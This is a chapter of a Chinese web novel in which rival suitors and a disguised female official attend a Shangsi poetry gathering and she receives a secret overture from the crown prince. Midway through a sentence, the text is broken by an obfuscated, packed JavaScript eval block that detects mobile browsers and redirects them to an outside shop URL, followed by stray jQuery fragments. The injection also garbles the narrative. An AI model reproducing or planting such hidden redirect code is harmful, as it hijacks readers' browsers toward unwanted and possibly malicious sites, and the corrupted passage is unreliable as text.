18. 曲水流觞
作品:《她是女帝,但人人争抢》 洛云归到兰湖之时,众人正以浸泡了兰草的药汤沐手。
负责主持仪式的礼部侍郎林敏安看到了洛云归,问候道:“这不是洛公子吗,您终于来了,这上巳节缺少了您,总感觉少了些什么。”
众人闻言大笑,毕竟洛云归酒后诗兴高涨,往往能成为名作,“曲水流觞”的盛事仿佛是为他量身打造的。
“是啊洛兄,你终于来了。”
“还是各位有情有义,我看某些人,倒是随便我来与不来,她自有公子佳人相伴。”洛云归并不刻意压低声音的说。
大家看了楼盏眠和裴晦雪一眼,也都是惹不起的人物,只得打个哈哈,让洛云归也先沐手。
楼盏眠把手从水碗里抬起来,看了洛云归一眼,正要擦拭干净,裴晦雪就拿出随身带的锦帕,包着她的手轻轻擦拭起来。
五指纤长如玉葱,莹洁如雪,裴晦雪擦着擦着,心中竟生绮念,毕竟他实在孤独等待了太久,本以为彻底没机会见到的人,如今又出现在面前,难免对她任何细微的美好都格外敏感。
楼盏眠感到手指发痒,裴晦雪的眼神又有些发怔,她便把手抽了出来,说:“晦雪,你也濯手吧。”
楼盏眠来到坐席坐下,裴晦雪也紧挨着她的位置,洛云归没见过这么厚脸皮的人,就也在楼盏眠另一侧坐下,他倒要看看,这裴晦雪葫芦里卖什么药。
“献玉,云檀香你用完了吗,怎么不见问我要?”洛云归问道。
楼盏眠看向他,没想到自那次不欢而散后,洛云归还会主动和她说话,便道:“是用完了,太麻烦你了,就没有差人去问。”
“无妨,我今天带来了。”洛云归把香囊递给楼盏眠,又把一个同样的绣着春日锦鲤的香囊挂在自己的腰上。
楼盏眠看到裴晦雪在看着她,就先把香囊收进了荷包里。
“这香料,的确好闻。”裴晦雪笑着说:“这位便是闻名京华的洛公子吗,晦雪虚长洛公子几岁,却不及公子之万一。”
“裴大人谦虚了,您乃大理寺卿,是我等所望尘莫及。”但即便裴晦雪称赞云檀,洛云归也没有给他的意思。
笑话,云檀香乃家传之秘香,岂是人人都可以得手的。
“我看裴大人和献玉之间,似乎有什么渊源,我毕竟也是和献玉自幼认识,倒不知道何时裴大人与献玉结识的?”洛云归终究还是问了出来。
他乃坦荡之人,没必要藏着掖着。他只是很奇怪,为何裴晦雪能够一下子出现,取代了自己在楼盏眠身边的位置。
这个女人,当真没有心吗。她不知道自己的心有多痛吗。
“这洛公子就有所不知了。”裴晦雪和楼盏眠对视一眼,发觉她选择了沉默,于是就说:“这得看盏眠想不想要让人知道了。”
一句话无比暧昧,周围的人似乎都怔住了片刻,接着又欢声笑语起来。
洛云归脸上有些挂不住了,在他看来,这裴晦雪竟是如此无耻,他冷笑道:“难道裴大人是献玉流落在外的义兄?”
“义兄?”裴晦雪说:“不敢不敢,裴某不在意他人怎么看,怎么说,一心守护盏眠的幸福,洛公子觉得我们二人是何关系?”
“……”洛云归沉默了,因为他没见过裴晦雪这么棘手的人。某种程度上,这家伙比木枕离,甚至比那谢弃问还要强大。
他辜有君子之名,却从不敢对楼盏眠道明真心,可是裴晦雪,却这么大大方方、轻轻松松宣誓了自己的存在。
是谁不好,偏偏是那个裴玉郎。
但他凭什么?
洛云归也觉得有点下作,不过他还是专门攻击在他看来裴晦雪最脆弱的地方:“裴大人不是誓不娶妻吗,既然心如止水,又为何偏对献玉大献殷勤?我听说裴大人心中已有所爱,那么你该给你那位心中之人幸福,而非献玉,献玉与你同为男子,说这种话怕不大合适吧?”
“我对盏眠的爱护,早已超越了性别之分。至于你说的我那位心中之人,便是盏眠。”
楼盏眠看向他,说不动容是假的,他知道裴晦雪之所以会有此名声,皆是因为思她念她。在与她相认之前做出如此决绝之事,足以证明他的真心。但是她觉得,这话该她来说才对。她瞪了洛云归一眼,不知道这家伙又来搅什么事。
“荒谬!”洛云归指责道:“裴大人想必是一时兴起!”
“为何不是一见如故呢?”裴晦雪看向楼盏眠说:“盏眠,你说是吗?”
许多想结识三位大人的京城贵女,看到三人气氛如冰,愣是被冻结住了步伐,无法靠近。
楼盏眠正苦于如何在这二人之间回话,那边一个姑娘鼓起勇气走了过来,说:“楼公子,流觞盛会还没开始,可否先占用您一点时间?”
楼盏眠起身,说:“好。”
两人在凉亭站定,这位姑娘说:“楼公子,我便是奉太子妃之命来与楼公子会面的。”
楼盏眠知道太子妃出身江家,那在江南地方也是世家大族,兼之姑娘身上的绣样是江南的技法,便道:“是江姑娘吗?”
江溪月点了点头:“正是。”
楼盏眠看她脸上有艰难之色,道:“姑娘放心,你我的谈话,只会有你我二人知道,太子既然信任楼某,楼某自然也并非那般不值得信任之人。”
江溪月受到鼓励,便道:“此事事关重大……”
楼盏眠其实多少能猜到太子想说什么。
皇上病重,身为太子自然想要保全日后之路,但在这条路上,有一条拦路虎,叫谢弃问。
果然,江溪月咬咬牙,道:“东宫说,与公子之间曾有朝夕伴读之情谊,东宫的意思是,不日便将继承皇位,楼家虽然依靠谢家,但并非只能依靠谢家。希望公子早些筹谋,那位大人信任公子,因此公子也是最有办法对付他的人。”
“这倒奇了,殿下难道以为,我与谢大人不合吗?”楼盏眠好奇的问,让楼盏眠自己来说,她对谢弃问那可是忠心不二。
“东宫说,他知道公子不是那般背弃君上的人,今日的富贵荣华,是天子给予的,而非那位权宦。若公子通晓事理,将来必能成为国相。”
这下,楼盏眠都沉默了,她没想到太子想搭上她这条线,还许以她国相之位。
“你今日过来,谢大人可知情?”楼盏眠问。
谢弃问最是多疑谨慎,若是让他知道自己和东宫内通,楼盏眠不敢相信事情会怎样发展。
“今天的盛会,我是跟一位在京城的表姐一起来的,应当没有人认得出我。”江溪月说。
“好,你的任务已经结束了,回去吧。”楼盏眠说:“剩下的事,我来处理。”
楼盏眠给暗处的白露使了个眼色,接着便有不少女子也来找楼盏眠谈话,楼盏眠在凉亭里足足待了半个时辰才离开。
待她回到原位时,曲水流觞都开始了。
洛云归取笑道:“献玉还是那么受欢迎啊,这一去就是半个时辰,头上也簪了这么多花
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085666|194951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,看来大家都很喜欢你。”
他加重了最后一句话,楼盏眠神情漠然的把头上的花都取下来,放在面前的花盘里,说:“这福气,就该给子期你,我看你很不满的样子。”
洛云归噎了一下,不过终于得到她的回应,嘴角不自觉的牵了起来。
裴晦雪侧目看着二人,根据他的调查,楼盏眠和洛云归之间真是十三年的交情,比他认识楼盏眠的时间还久,这还真是让人有些嫉妒。
没想到,在这个世界,她已经早就有了比自己更亲近的人了——貌似还不止一个。
楼盏眠坐下不久,高处的酒觞便飞落了下来,三人一同看去,便见它经过洛云归和楼盏眠,停在了裴晦雪的面前。
林敏安立刻拿着纸笔走了过来,大家也津津有味的围绕在三人身边,看着裴晦雪写诗。
前世,楼盏眠并未见过裴晦雪吟诗作画的样子,此时看他不假思索的挥毫,心想自己对他的了解还真是少。
裴晦雪一挥而就,说:“还请大家不要笑话拙作。”
“哪里哪里。”
林敏安乃楼盏眠曾经的上司,他拿不准的时候,便来找楼盏眠一同商量,毕竟楼盏眠写诗可以说不是最在行的,但是评价诗歌却是公认的第一。
(1)
楼盏眠看去,惊艳道:“右琴,没想到你还有这样的绝技。”
众人纷纷看去,都惊叹出声。
裴晦雪低头害羞道:“哪里有大家说的那么好,用词有些俗了。”
“非也。”楼盏眠说:“切入世情,雅俗共赏,此为杰作。”
洛云归也看了裴晦雪写的诗,确实是十分出彩,而其中似乎表达着某种不为人知的情感。
他不由的多喝了几杯酒,暗暗期待着酒觞落在他面前,到时候,他也要一鸣惊人。
皇天不负有心人,下一次,酒觞果然停在了他的面前。
洛云归将怀中豪情与柔肠共同熬煮,说:“这次,我要写词,而非赋诗。”
众人捧场道:“子期酒后之诗纵横捭阖,如同大鹏翔于九天,人皆称赞,但是子期之词,更如世之绝响,知之者甚少。”
“这次我们有福了!可以亲眼看到洛公子的词作!”
洛云归被捧得飘飘然,一气呵成,挥就一词。
(2)
众人争相传看,情形不亚于方才争抢裴晦雪的诗作。
楼盏眠也看了看,称赞道:“子期功力不减当年。”
“就这吗?”洛云归心想,刚才夸裴晦雪就那么多词,到他这里就这样了。
楼盏眠只是觉得他似在含沙射影自己,因此有些评价不出了。
就这样,又经过了几轮,酒觞终于不负众望,来到了楼盏眠面前。
“终于轮到楼大人赋诗了!”
“曲水流觞,少了楼大人怎么行呢!”
好些女子也来捧场,楼盏眠有些不好意思,但是也即兴赋诗一首。
(3)
林敏安称赞道:“盏眠的才情,如江海般取之不绝,如今我都还自愧甚久。”
众人纷纷称是,就没见过如同楼盏眠这般无可挑剔之人,难怪都说“楼氏有玉璧,世之有安栾。”
楼盏眠被人称为身负盛世之兆。
但看懂的人,都会说楼盏眠这首诗,有些许暮春的伤情。
林敏安当即评选出裴、楼、洛三人的诗作为前三甲,将其编成诗集,传入朝廷与市井之中。

